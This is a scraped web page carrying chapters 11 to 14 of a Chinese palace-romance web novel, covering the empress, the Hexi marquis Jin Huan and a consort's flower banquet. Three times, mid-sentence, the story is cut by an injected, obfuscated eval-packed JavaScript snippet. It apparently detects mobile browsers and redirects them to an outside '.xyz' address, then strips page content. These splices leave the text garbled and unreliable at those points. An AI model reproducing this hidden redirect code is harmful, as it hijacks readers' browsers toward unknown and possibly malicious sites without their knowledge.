或许正是因为她的诚心,连老天爷都站在她这边,让她摆脱屈居人下的困境。 她在御花园再遇圣驾,重获圣宠之后,竟然诞下皇子。 从此水涨船高,从一个小小御女,升为美人、昭仪直至妃位,最后坐上太后之位。 心诚则灵,章太后对此深信不疑,从前她许下的种种心愿都能实现,可惜现在她唯一的心愿,盼望她儿娶得一个佳妇,襄助大周江山稳固,却是已经落空了。 她对宇文海棠这个皇后十分不满,即便是品行优良秀外慧中的宇文兰君,她也未必满意,而样样不如人的宇文海棠,自然更是看不上眼。 太后有意刁难,吩咐人将佛经送去长信宫。 太安宫众人互相望望,显然谁都不想去讨骂,皇后的脾气阴晴不定,指不定拿经书把她们的脑袋砸个洞,这倒霉差事谁愿意干。 最终被迫领下这份差事的宫女银杏心里叫苦不迭,从来好事不想着她,坏事每次都躲不掉。 银杏命苦心也苦,捧上太后的“恩典”,一路磨蹭着到了长信宫。 在门口站了半天都没敢进,团团转了几圈,索性心一横,早死早超生,到底硬着头皮迈开了步子。 进门就看见皇后正在斥责宫女:“蠢材,银丝炭都让你烧得烟直煍,上一边待着去吧你!” 旁边拿着火钳的小宫女有些瑟瑟的,这个时节一般不会再用炭了,但是皇后要烤山芋吃。 银杏也跟着抖了抖,深吸一口气,才上前请安:“皇后娘娘金安,奴婢是太安宫宫女银杏,太后娘娘近日想起礼佛节将至,特命奴婢送来几卷佛经给娘娘。” “哦。”海棠答应了一声,只顾着看自己的指甲。 指甲颜色淡了,她正在重新染。 其实她原本的指甲呈淡淡的藕粉色,已经很好看了,她却每次都要染成鲜艳的红色。 染指甲用的色膏是玫瑰调制,蕴发淡淡香味。 银杏上前拍马屁:“娘娘美貌,这些点缀如何能比得上娘娘的鸾凤姿仪,只是玫瑰虽然艳丽,常常用来调色,但是香味太浅,又消散太快,就显得没那么有滋味了,若想延长香味,可以研磨加入些薄荷叶,效果会更好。” 海棠看向她:“你懂这个?” 银杏笑答:“奴婢曾在司制局待过三年,粗通一些。” 海棠靠在软枕上,将一条刚摘下来的珍珠项链扔了下去:“主意不错,这个给你了。” 银杏忙叩头:“谢娘娘赏赐。” 正好找机会开溜:“那娘娘忙着,奴婢就先行告退了,还有那佛经,太后娘娘嘱咐了,要娘娘耐心诵读,还说,还说要手抄百遍,在礼佛节当日交给她呢!” 管他三七二十一,全往太后身上推。 “知道了。”海棠应了声。 此行顺利得太过莫名其妙,银杏自己都奇怪,难道真是她寻常好事干太多了,好人有好报?皇后竟没为难她,还赏赐她? 春泠见海棠一口答应下来,倒是着急:“您是不是没听清啊娘娘,那可是手抄百遍啊!” 海棠亮出自己染上指甲的两只手:“好看吗?” “好看,但是那是一百遍诶!”春泠颤颤巍巍。 海棠哼唧:“我知道啊,回头她问起来,我说搞丢了就行。” 行吧,春泠放下心了,也是道高一尺魔高一丈了。 海棠吹了吹染好的指甲,忽然眼睛又是一亮:“哎,今天起风了,咱们放风筝去吧!” “不要不要不要!”春泠小脸扭曲,连连摆手:“御花园肯定好多人。” “呆子,我们去琼园嘛,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362171|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里人少!” * 琼园是御花园南边单独划出来的,一个更小更为精美的园子,由前朝名匠钟士均设计,廊榭连桥,水石清华,琼楼玉宇,无一不是美轮美奂。 园中最大的池子名唤瑶池,取天宫瑶池之美名,离这里最近的一座宫殿,也因此得名瑶台宫,先帝的王昭仪曾住在这,而今已空了不少年了。 今日谈话不欢而散,靳桓着急出宫,虽路过此园,却也无意欣赏风景,只匆匆穿园而过。 一旁引路的内监提醒他:“此路遍铺石子,侯爷当心。” 许是他过于急切,一时不慎竟走岔了路,游廊向左是通往出宫的麟和门,他却走了向右的那条路。 错进了一片茵茵绿地,周围种了许多桂花树,风吹叶动,碎蕊飞香。 两侧遍植各色花卉,芍药、玫瑰、鸢尾、蔷薇、紫藤、团团簇簇,繁花似锦。 不远处一个粉衣女子正在放风筝,这里只有她欢乐的背影和笑声。 鱼线那样细,风筝那样高,天那样蓝,云那样自由。 直到粉色的衣裙停下,那女子看到他了。 她转过身来,眨着眼睛,探究地看过来,和身边的侍女窃窃私语。 靳桓站在桂花树下,今天的风太大了,怪不得风筝能放那么高。 细碎的花蕊飞卷着扑在他的身上,脸上。 漫天飞花,他的瞳孔里倒映出那抹粉色的倩影。 终于那边的人先开口了:“你是谁?这是内宫,你走错地方了。” 那是一双他见过最美丽、最有神的眼睛,日月晴空,飞花如穹。 靳桓回道:“确实走错了,打搅。” 姑娘有些脾气,用那美丽的眼睛翻了一个白眼,把风筝头甩给身边的宫女,提着裙子扭头走了。 内宫的女人,都是皇帝的女人,不知道这位,是皇帝的哪个女人。 他不免有些遗憾,这样的女人,嫁给高翊那个窝囊废,真是暴殄天物。 靳桓转身,低头绕出林子,才问旁边内监:“刚才那个放风筝的,是宫里娘娘?” 内监擦一把冷汗,刚刚隔太远,没怎么敢伸头。 只能小心翼翼地猜测:“离得太远,没看清楚,听声音,像是皇后娘娘。” “只有她常来琼园,颐妃娘娘不怎么来的。” “皇后?”靳桓脚步停顿了下,转头笑了:“宇文家的女儿,宇文海棠?” “不是说,是个草包吗?”他感到很有意思。 内监忙道:“可不敢乱说,可不敢乱说啊侯爷!” 靳桓不以为意,也并不太将皇室放在眼中。 地方内乱,王朝飘摇,各路诸侯,明着不服,暗着不忿。 大周天子,高氏皇族,三百年传世下来,早无先祖之威了。 风雨欲来,谁知道周王朝还能再支撑多久。 这位年轻的地方权臣,对皇帝不那么尊重,对皇后倒是兴致勃勃:“你确定那真是宇文皇后?” 内监垂目:“应是无错。” 他鲜少八卦这些,此刻竟也生出好奇:“皇后绝色姿容,为何会被冷落后宫,被颐妃抢尽风头?” 内监结结巴巴:“这…奴才就不知道了,常言道各花入各眼,陛下的心思谁能猜到呢?况且皇后娘娘颇有些娇惯脾气,陛下朝政繁忙,自然更偏爱颐妃娘娘这朵解语之花。” 靳侯的表情意味深长:“是吗?” 12. 第十二章 颐妃对妹妹杨萱的事比对自己的事更加上心,趁着王璟还在京都,她有意举办一场赏花宴,好为妹妹拉郎。 只是嫔妃举办宴席要经过中宫同意,她需得先问过海棠意见。 海棠听到她说要办赏花宴时,很不理解:“你是吃饱了撑的,办什么赏花宴,费力不讨好。” 如今这时节,离春色满园花团锦簇的时候还早着。 颐妃笑了笑,倒是诚实:“臣妾也不瞒娘娘说,臣妾不是为了赏花,而是为了家中那个还没着落的小妹,臣妾是想在各家青年才俊中,为她挑选出一位如意郎君,才办这场赏花宴。” “正巧外郡的几位侯爷近日也在京中,今年的宴席岂不是很热闹?娘娘觉得如何?” 海棠这才有了点兴趣,坐起来:“有这样的好事怎不早说?我不也有个没嫁人的妹妹吗?” 颐妃笑道:“娘娘既有此意,那不是正好?” 海棠问她:“你看上谁了?” 颐妃道:“凡事有先来后到之说,我若说了,娘娘可不许与我争抢。” “你先说说看。” 颐妃弯唇:“臣妾觉得江东侯王璟为人不错,堪为良配。” “江东侯...王璟,”海棠想了想,差点拍大腿:“颐妃啊颐妃,杨大小姐,你这眼睛真是太尖了,这远在千里之外的金龟婿都让你盯上了。” 说得也是啊,怎么她就把王璟给忘了,仪表堂堂,谦谦君子,这实在一个好妹夫啊! 颐妃笑:“臣妾有言在先,娘娘不会夺人所爱吧?” 海棠道:“这也不是你我二人说了算的,万一王璟已有意中人了呢,强扭的瓜不甜,还是要看缘分的。” 她又问:“那除了王璟,还有其他好点的人选吗?” 颐妃想了想:“若说显赫,那必是河西靳侯了!” 海棠连连摇头:“狼子野心的武夫一个,你莫害我妹妹。” 颐妃笑而不答,她心里门儿清,别看皇后成天一副吊儿郎当的样子,前朝的事却是清楚得很。 能在这九重楼台间得以立足的,可以是装傻子,又岂会是真傻子呢? 随即她又想到另外几个人选:“其实京中也有几个很不错的儿郎,只是相国府门第煊赫,他们与宇文家相比,那肯定是高攀了三小姐。” 海棠道:“我妹妹喜欢俊俏郎君,她也不在意门第高低,只要她高兴,这些都不是问题。” 京都的侯爵不少,但那都是家族世代传下来的富贵虚名,和地方的侯爵相比,实权上的差别可就太大了。 就是大姐宇文兰君许配的定国公府,从门第上来说也是勉勉强强相配,若论资财实权,肯定是不如宇文家。 徐家这一辈的后生已经没几个能耐的了,纯粹靠着祖宗余荫,顶着国公府的牌子过富贵闲人的日子罢了。 与京都这些空架子的公侯不同,地方有自治之权,每年按朝廷所需缴纳税贡和粮食,剩余部分便归各地自支自用。 各州府还有兵士,有私库,有当地郡县的管理权限,虽说如今削兵,可那不是还给留了三千人马嘛,三千也是一个骑营的人数了。 何况各地也不可能真就那么老实一点水分没有,我私下留下五千人,我只报三千上去,皇帝又不会下来点数,谁知道呢? 要不然皇帝怎么担忧呢,这都是旧制留下的弊端隐患,如今一时不好改,离京都近些的还好点,还受些辖制,不敢太过张狂,那些山高皇帝远的,就真如山头老大,坐地皇帝一般。 就譬如河西,一直是皇帝放心不下的心头大患,据说那边林林总总大约有四五万人马,没准还要更多,这还了得? 反正皇帝是觉得自己腹背受敌,内忧外患,宫外有河西巴蜀之流乱他基业,朝堂有宇文宏都等人虎视眈眈,后宫还有宇文宏都安插进来索他命的好女儿。 真是老天不开眼,想他励精图治的勤恳程度远超他父皇,谁家皇帝做到他这份上? 他若是个懒散的,便酒池肉林享乐一生,待他百年之后,大周亡了又如何? 可他不能这样想啊,这样会害了子孙后代。 他父皇就是这样想的,所以他就成了被害的那个。 做人难,做皇帝更难。 * 颐妃办的这场赏花宴的确热闹,广邀群臣,遍请女眷。 延庆宫的面子大,来赴宴者众多,虽然此时并非繁花盛开时节,但颐妃从宫外寻来数百盆罕见的珍稀花卉,姹紫嫣红也让宴席增色不少。 席间又是游船又是作画,又是蹴鞠又是射箭,倒也十分趣味。 海棠与嘉宁姗姗来迟,命妇女眷中便有人嘀嘀咕咕。 “皇后娘娘来得这样晚,真是不给面子。” “长信宫和延庆宫本就是对头,今日颐妃一枝独秀,皇后怎会捧她的场?能来就不错了。” “就算皇后不得宠,她背后有宇文家,颐妃岂敢跟她对着干?瞧颐妃小心翼翼的样子,寻常怕也不少受委屈。” “不是说太后娘娘疼惜颐妃吗,怎么也不见人影?” “你的消息早八百年前了,如今太后娘娘身边的红人是韩才人。” “哪个韩才人?” “那个穿桃红裙子的,瞧见没?原先是司制局的女官,得太后娘娘赏识成为嫔妃,太后把永乐宫都赏给她住了,永乐宫啊,那是多好的地儿!” 一道又一道身影走过,这世上来来去去,不过就是这些纷纷议论,攘攘熙熙。 忽然一支利箭穿风而过,冷光闪烁,飞过万紫千红,正中数十米开外的靶上红心。 湖心亭中,颐妃含笑称赞:“皇后娘娘真是巾帼不让须眉,从前竟不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362172|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘有百步穿杨的本事。” 嘉宁满眼自豪:“我姐姐得我大哥真传,精于骑射,少有人能及。” 湖心亭辟水建成,遗世独立,与花团锦簇的园圃遥遥相望,后宫妃子皆从这里经过,进入园中。 这条路不长不短,二里有余,曲折蜿蜒,毗邻水榭,颐妃有些巧思,命人沿途摆上盆景,挂上各色花卉丹青。 对面便是箭场,今日女眷多,大多饮茶游船,箭场人数寥寥。 韩才人在旁摇着扇子,不冷不热笑了一声:“皇后娘娘是后宫之首,命妇表率,又不是武将,怎么倒专心起舞刀弄枪来了?” 海棠闻言,淡淡一笑,再次拉起弓。 颐妃看向韩才人:“谁说女子就不能舞刀弄枪了,太/宗一朝镇压海匪的名将卢秀不就是女子吗?韩才人你虽是宫女出身,但既然已为宫妃,还是要多学习精进,见识不要太浅。” 旁边的几个宫女听了表情微动,韩才人脸色尴尬,便出言不逊起来:“颐妃娘娘可真会说话,今日向着这个,明日向着那个,真叫臣妾看不懂呢!” 话音未落,海棠手里闪着寒光的箭头已经对准了她。 海棠不过假意吓吓她,还没动作,韩才人就自个吓得抱头跌坐在地上了:“皇后娘娘你…你这是什么意思,光天化日之下你要箭杀宫妃不成?” 海棠哈哈笑出声来,将弓箭收起,丢给一旁的宫女。 “就你这点胆子,还是别出来丢人了,既然跟着太后,应当潜心去礼佛茹素,出来招摇什么?” “大好的日子,非要多事,口不择言,再有下次,本宫便以中宫之名禁足你,撤去你的彤史,正好你就不必侍寝了,自个在宫里好好思过吧!” 她看一眼韩才人:“杀你我是做不到,罚你还不是件难事,你要不相信,你就试试吧!” 颐妃和杨萱两个人眼观鼻鼻观心地装门神,此刻抬起头对视一眼。 颐妃开口解围:“还请娘娘消消气,瞧那边的外臣女眷都在往这看呢,别让她们瞧了笑话去。” 海棠斜了她一眼,没什么表情,带着嘉宁,扶着春泠的手离开湖心亭,往宴席中走去。 韩才人爬起来,理理头发,又生气又害怕地咒骂:“不过仗着家里罢了,我倒要看看她还能威风几日!” 待人都走远,杨萱叹一口气,这才搀上颐妃的手臂:“姐姐,我一直以为皇后蠢笨,不想她竟是这样强势蛮横的人,往日我一直觉得姐姐风光,原来你在这宫里也这么不容易。” 颐妃拍拍她的手:“宇文皇后个性强悍,屈居她下的滋味不好受。” “不过人不犯我,我不犯人,既然知道她是这样的人,就别招她,你也少招她妹妹,她再怎么任性骄纵,闹天闹地,归根结底是冲陛下和太后,跟咱们杨家无关,别趟这趟浑水就对了。” 13. 第十三章 园中隔着一道花圃,靳桓与王璟正在说话。 海棠远远朝这边走来,见那身影有些熟悉,眯起眼睛仔细端详了下。 是那天在琼园遇到的人,今日他换了身藏青色飞鹤纹的圆领长袍,差点没认出来。 这个人怎么会在这里出现,海棠有些疑惑。 嘉宁顺着她的眼神看过去:“姐姐认识那个人?怎么一直看他?” 海棠摇摇头:“不认识,不过既然是颐妃邀请来的,那必是达官显赫,以前在京都好像没见过这号人。” 身旁的向嬷嬷笑着解释:“那是河西侯与江东侯二人,那个深色衣裳的就是河西侯,娘娘进宫不久,外官认识不多,他们又久不在京都,您自然没见过,这几日不是正巧几位外郡的侯爷一同进京面圣么?” 海棠的眼神没有移开,一直注视那边:“河西侯…原来他就是靳桓。” 许是她的眼神过于专注,靳桓虽然背着身,却突然感应到了似的,转过身来。 他也用同样专注的眼神看着她。 年轻健壮的男人,杀气腾腾、野心勃勃的欲望充斥全身。 那双充满好奇、探究、热烈情绪的眼睛,令海棠深感脊背不适。 竟然敢用这样看猎物的的眼神看她。 真是放肆至极!讨厌至极! 她很不高兴,但单凭眼神,也无法定罪。 海棠收回目光,淡淡冷笑,在众人簇拥下,大步走了过去。 满园百花争艳,万紫千红,都不及美人乌发红唇,艳压群芳之姿态。 海棠一来,坐入上席。 众人跪拜行礼:“皇后娘娘金安。” 海棠看着跪在不远处的男人,眼神颇为犀利。 任众人跪了好一会儿,她才道:“平身,都坐吧!” 河西侯又如何,靳家又如何。 天地分阴阳,世上有乾坤。 对国母心存亵渎,那就只有跪在这里的份。 可是靳桓脊背如松,倒是一点没看出有什么不高兴,起身时甚至笑了下。 身侧的王璟一脸不解:“你笑什么?” “没什么,”他心情愉悦得很:“好像参悟了点道理。” 宫外的命妇女眷都坐在右边的圆桌,兰君也在其中,今日她穿了一身银蓝色绣兰花的衣裙,在众多浓妆艳抹的女人中间,那份空谷幽兰的气质格外突出。 嘉宁看到大姐,便喜笑颜开地跑到兰君身边,兰君刮了刮她的鼻头:“这些日子在宫里玩够了吧?娘娘定是将你纵得无法无天。” 又问:“怎么不坐你二姐边上?” 嘉宁笑嘻嘻道:“那边都是内命妇的位置,我待着不自在,跟大姐你坐一起最好了。” 兰君看向上方的两个座位,是帝后专属的位置,在重重台阶之上。 往下一层又一层,站满了服侍的宫人,即便是颐妃的位置,也隔了很长一段距离。 近在眼前楼阁,远似九重宫阙,帝后一体,即便不能同心同德,也是要比肩而立的。 一刻钟后,皇帝在颐妃的陪伴下入座,宴席正式开始。 宫女们鱼贯进出,台上舞姬裙袂纷飞。 海棠只捡了两筷子樱桃酿吃,凉菜伤肠胃,她本来也不喜欢吃。 鲜鸡没有炖汤,反倒用来煲熟,鹅也没有做成酥皮烧鹅,而是做成酱香的,东坡肉还能吃下去几块吧,豌豆苗也吃了一点。 宫里的宴席就是没意思,一点新鲜菜色都没有。 台上一曲《织女飞天》刚刚结束,台下的杨萱已经按捺不住了,频频给颐妃使眼色。 颐妃看准时机,开口道:“今日赏花宴,本不是什么节日,把大家叫过来,也是想趁这好天气好时节,宫内宫外,君臣同乐一番。” 说罢笑了笑:“宫里这些舞蹈乐曲老生常谈,瞧着也无趣,在座各家的小姐公子们倒是学识渊博,才貌双全,若有些新鲜式样,不如到台前展示展示,也叫我们大家都开开眼界。” 又看向王璟,故作姿态:“本宫记得江东侯的母亲十分擅长古琴,正巧我家妹妹也精通古琴,学习数年。” “来,萱儿,你要不就来打个头阵吧,我瞧着别的姑娘也羞怯,你来领个头,她们才好自告奋勇不是?” 杨萱低头扭捏:“姐姐将我吹嘘得太过了,只是粗粗学过几年,算不上精通。” “不过既然姐姐这样说了,那我就献丑弹一曲《湘妃吟》吧,班门弄斧,不要闹笑话才是!” 礼部侍郎的夫人赶忙捧场:“杨小姐实在谦虚,你这般才貌还要算笑话,那我们更不要出来见人了!” 说话间宫女已将琴台搬了上来,杨萱款款起身,一袭翠绿的长裙曳地而来,今日倒格外装出了几分淑女姿态。 嘉宁坐在位置上吃着桂花酥,面带微笑地欣赏着杨萱这难得的场面。 便是傻子也看出来了,这场宴席中有她蓄势待发准备拿下的猎物。 只是她不知道这猎物是卜瀚文还是方才颐妃提起的江东侯。 杨萱应该也是下足功夫练了些日子的,指尖轻拨琴弦,声音倒也入耳,轮音似水轻灵,弹到高潮部分也是有模有样。 只是刚弹到过半,琴头最上方的一根弦不知为什么突然崩断了。 砰的一声,声音巨大且刺耳,一时众人间都懵了。 怎么会有如此不凑巧又不走运的事,琴弦好好的怎么会断嘛? 杨萱自己也惊得愣住了,手足无措怔在原地。 颐妃更是叹一口气,闭上眼无奈至极。 这倒霉丫头,给她机会都不中用,这回真成笑话了! 见台上姑娘尴尬,兰君心软,忍不住为其解围:“寻常练琴时,琴弦崩断是常有的事,不足为奇,换一根就好。” 嘉宁巴不得看杨萱出丑,拉着兰君的衣袖,小声嘀咕:“姐姐你管她干嘛!” 兰君没有理会她,亲自取了一根新的琴弦,上前为杨萱更换:“此曲晦涩,杨姑娘弹得已经十分熟练了,可见日常勤学苦练,有此专心,已是难能可贵。” 杨萱眼中涌出水光,如此尴尬丢脸的情况,有人当众为她解围,这般温柔似水,抚慰她心,还加以勉励,若是个男子,只怕她就要真心相许了。 兰君换好琴弦,又问道:“你的手可有受伤?” 杨萱摇头:“只是弦断了,我的手没事。” 她看向兰君,这次十分地真情实感:“多谢姐姐。” 之前看着不顺眼,现在怎么看怎么顺眼。 姐姐的名字吐气如幽兰,姐姐的衣裙湛蓝如水波,姐姐的笑容甜美如蜜糖。 为何这样的姐姐是宇文嘉宁的姐姐?好事不能都给她一家占了去。 正在被咒骂的嘉宁也是气得牙痒痒,生怕杨萱抢了风头,赶忙喊了句:“要说起琴艺,京中谁能与我大姐姐相比?” 她这一喊,所有人的目光都看向她。 王璟此时幽幽开口:“既然如此,何不请来演奏一曲,让在座诸位都鉴赏鉴赏。” 靳桓嘴角微动,脸上笑意复杂,王璟之母华夫人出身江东世族,是当年名动天下的古琴大家,也是因此与老侯爷相识,王氏子女自小浸染其中,对乐曲上造诣颇深。 江东风靡琴艺,名家众多,京都的琴艺,如何能与江东比?班门弄斧反倒尴尬,方才不是刚有一个出丑的。 嘉宁听了却笑起来:“让我相国府的大小姐登台献艺,不是谁都有这个面子的,江东侯,听说你师承于母,也精通琴艺,不如你与我姐姐切磋一番,看看到底谁更胜一筹!” 兰君着急了:“嘉宁!不要胡说!” 这场宴席真是越来越热闹了,连皇帝都来了兴致:“互相讨教讨教也无妨嘛,今日意在玩乐,不必顾虑太多。” 海棠瞪他一眼,低声骂道:“感情不是让你上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362173|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去弹,你自然是无妨,拿我姐姐寻开心!” 皇帝也嘀咕过来:“是你妹妹自己拿你姐姐寻开心,与朕何干?” 嘉宁叫嚣完,渐渐回过劲儿来,发觉自己给兰君找事了,心觉不妙,刚想岔开话题。 王璟却一口应了下来:“我虽许久不曾练习,有些生疏,但切磋一番应该不是问题,不知小姐要如何切磋?” 席上众人纷纷坐直了身子,脸上也洋溢起看热闹的笑容。 嘉宁语塞,半是求饶半是求救似的看向兰君,兰君无奈叹了口气,只好道:“小妹无知者无畏,还望侯爷海涵,我琴艺浅薄,比不得侯爷家学渊源,不敢说切磋,只敢说讨教。” 皇帝兴致勃勃:“还不来人抬两架好琴上来,将那断了弦的琴弄下去,今日倒是赶巧,能看一场高山流水之较量。” 内侍监们手脚麻利地搬了两架紫檀祥云琴上来,兰君和王璟两人起身。 海棠远远看向王璟,没想到这人看着温文尔雅,也是个较真不省油的家伙,原本想撮合他和嘉宁的心思一下就没了。 坐至琴前,王璟问兰君:“小姐擅长哪首曲目?” 兰君一笑,虽然她素日文静谦逊,但并非没有自信:“方才的《湘妃吟》过半而止,不如听个完整?” 王璟点头,抬手以示客气:“好。” 心中对兰君倒生出几分好奇,在他面前能如此坦然自如,不知是班门弄斧还是真才实学。 兰君指尖轻拂,不过少许前音,便让不少人睁大了看热闹的眼睛。 只此一段,就能听出她与杨萱弹奏的区别,杨萱虽指法流畅但功底不足,手指力量欠缺,琴音漂浮,悦耳有余,动人不足。 兰君所演奏的,显然水平高出不止一档,婉约悠扬,余音绕梁,弹至潇湘别离一段,如声如诉,宛如天门之音。 王璟按捺住惊讶,在此段结束后开始合奏,他少年学习,琴艺高超,两人的曲音动静结合,刚柔分明,确实天作之合。 一曲毕,曲终音未绝,众人意犹未尽:“真乃天籁之音啊,今日之耳福,往后十年再提起来都不会忘!” 杨萱有些脸红,在兰君面前,她确实技艺远不如人,风头尽失,但今日兰君为她解围,此刻抢她风头,她倒也没有怨恨。 王璟理了理因弹琴而纷乱的衣袖:“是我自夸自大了,小姐琴艺绝伦,我并不能胜过你。” 兰君道:“侯爷过谦,您远在我之上。” 王璟当然知道自己并不是远在她之上,可以说不止是京都,就算是在江东,除了他母亲,也很难找到在她之上的人。 他也知道这回是自己自信过了头,好在人家小姐脾气好不计较,展了展眉头,又道:“还未请教小姐名姓?” 颐妃在上座抢先回答:“哦?侯爷还不知道宇文小姐吗?这可是大名鼎鼎的宇文相国长女,皇后娘娘的亲姐姐,定国公世子的未婚妻,兰君小姐。” 她有意指明王璟休要多想,这位已经是名花有主的人了。 王璟面带微笑,并没多说什么:“倒是我眼拙,竟没认出宇文小姐。” 有兰君作对比,皇帝不免看向海棠。 越看是越不满意:“你就不能跟你姐姐学学?一个家门生出来的,怎么就能差这样多?你姐姐温柔贤惠,才华横溢,你呢?跟个野人似的,不怪母后嫌你嫌得要死!” 海棠勾起嘴:“怎么,陛下还惦记着我姐姐呢?她没做成皇后你很可惜吗?不过眼下还不晚,定国公府不是还没娶吗,虽然说君夺臣妻是难听了些,不过陛下你也不是要脸的人。” “反正定国公府上上下下尽是没用的软蛋,陛下男子汉大丈夫,你能扛住的。” 皇帝被她的阴阳怪气阴出一身冷汗,又得顾及座下群臣,恐被人听到,只能小声骂:“你又胡说八道些什么?朕本意督促你向榜样学习,你倒好,不求上进也就罢了,说话还这么难听!” 14. 第十四章 宴席酒过三巡,嘉宁偷偷离开,前往湖边透气。 她不擅饮酒,一杯就能红上脸颊,湖边微风轻拂,扑在脸上,带来草木香气和水润湿意,倒是缓解了些不适之感。 远处停着几艘木船,船头雕刻各种图案,做工精美,专供来游湖玩乐,只是可惜她不会划船。 嘉宁正享受着湖边自由微风,卜瀚文就这样不解风情,阴魂不散地出现在她身后:“怎么自己一个人跑出来?” 嘉宁闻声回头:“你不也一样?” 卜瀚文笑了笑,站在她身侧,负手而立,看向湖的对岸,巍峨华美的宫殿一角:“你喜欢宫里吗?” 嘉宁望着远方水天一色,有些迷茫:“不知道,谈不上喜欢,也谈不上不喜欢。” 卜瀚文抽出手,指了指两个方向:“那边,朱雀檐角的是太安宫,章太后寝宫,那边,琉璃檐角的是长信宫,你姐姐的宫殿。” “这是皇城,大内禁中,大周最尊贵的地方,荣华富贵,数不胜数,你不喜欢这里?” 嘉宁挑眉,很不理解:“这关我什么事啊?跟我有什么关系?卜大人,你想说什么,我听不明白。” 卜瀚文轻笑:“你十七岁了,不是小孩,怎么会听不明白?” “你姐姐是皇后,你父亲是相国,你哥哥是大将军,又怎么会和你没关系呢?” 他俯身过来,低声耳语:“三小姐,陛下的赐婚圣旨早就写好了,你想知道你未来的夫婿是谁吗?” 嘉宁猛地转过身:“你什么意思?” 卜瀚文的笑容意味深长:“宇文家势大,陛下和太后怎么会允许你嫁给外郡的侯爷?那不是助长宇文氏气焰吗?三小姐,你还是早些看清吧,江东侯与你无缘,你的夫婿另有人选。” 嘉宁不相信:“不可能!你少骗人!我姐姐从来没跟我说过这件事!” “我为什么要骗你?我骗你有什么好处?傻姑娘,老天爷总是薄情的,你自己做好准备吧,这件事皇后也不知道,自然了,就算她知道,她也做不了主。” “她连她自己的主都做不了,还能帮你做主吗?” 嘉宁满眼敌视地看向卜瀚文:“我不相信!你这家伙满肚子坏水,你说的话我一个字都不会信!” “不信就算了。”他转身离开。 “你给我站住!”嘉宁追过去:“好啊,你既然说陛下给我赐婚,那你告诉我,陛下要把我赐给谁?” 卜瀚文摇头而笑:“那我不能说,说了就是泄密,是死罪,不过我可以告诉你,是一个你绝对想不到的人。” 嘉宁表情狐疑:“不会…是你吧?” 卜瀚文失笑:“放心,你愿意我都不会愿意的。” “陛下要嫁,肯定是把你嫁给姓高的,自己猜去吧。” 卜瀚文撂下这句,潇洒离去,留下嘉宁愣在原地。 他说得有鼻子有眼,不像胡编乱造,难道真有这回事? 姓高的,姓高的那可就多了,信王是陛下堂哥,禹王是陛下堂弟,还有荣郡王,诚郡王,还有宗族子弟一大堆,这到底是哪个姓高的? 信王前年死了正妃,家里留下一双儿女,年岁还大她许多,禹王面相阴柔,沉迷戏曲,终日扮女人。 荣郡王只有侧妃的位置,诚郡王,诚郡王小时候身体不好送去庙里跟着师父,十八岁才回来,也是神神叨叨的一个人。 完了嘛,嘉宁的步子迈得有千斤重,今天的饭是吃不香了。 待宴席结束后,回到长信宫,嘉宁一整个心神不宁,犹豫许久还是把这件事告诉了海棠:“姐姐,你说是不是卜瀚文那家伙故意吓唬我?他是骗我的吧?” 海棠直接大骂:“你听他胡扯!他算什么东西,一个逢迎媚上的狗腿,还真当自己是个人物了!” 又拍案怒道:“高翊这混蛋玩意儿,打得什么鬼主意,我妹妹也是他想嫁就能嫁的?你放心,他要敢动你一根汗毛,我不活了也要送他一起上西天!” 皇后言语狂悖不是一天两天了,长信宫众人从之前的惊恐万分到现在的习以为常,一个个缄默如斯,全当没听见。 想到有姐姐的保护,嘉宁心里安定许多,况且还有爹爹和哥哥,他们肯定不会让她任人安排的。 她抱紧海棠,靠在姐姐怀里,觉得有这么多爱护自己的人,心里很满足。 又后悔不该听信卜瀚文的挑唆之言,竟然为他的话烦恼到现在,真是得不偿失。 而今日的天气也如同她的心情一样跌宕奇怪,白天还是晴朗碧空,花宴喧闹。 夜半却突然狂风暴雨,惊雷四起,那风呼啸而来,把院子里养花的水缸和瓷盆卷得满地都是,噼里啪啦全是瓷器碎裂的声音。 嘉宁在床上裹着被子有些害怕:“不会把窗子吹坏砸到我们吧?” 话音还未落,外面又是一个花盆摔碎的声音,吓得她肩膀一抖。 海棠搂着她:“不会把窗子吹坏的,宫里的东西哪会这么不经用,怪我没提前搭个雨棚,好把外面养的花花草草挡一挡,今年的天气也是奇怪得很,总是一会晴一会雨的。” 白天赏花宴的那些花卉不知道有没有搬回去,要是还没来得及搬,明早又是一片狼籍。 那些花卉还都十分珍惜罕见,颐妃花了大代价,大江南北的搜罗来,才观赏一次就糟蹋了,也太可惜了。 嘉宁缩在被子里,海棠把她抱在怀中,姐姐身上的香气萦绕在鼻尖,手掌温暖的感觉令人心安。 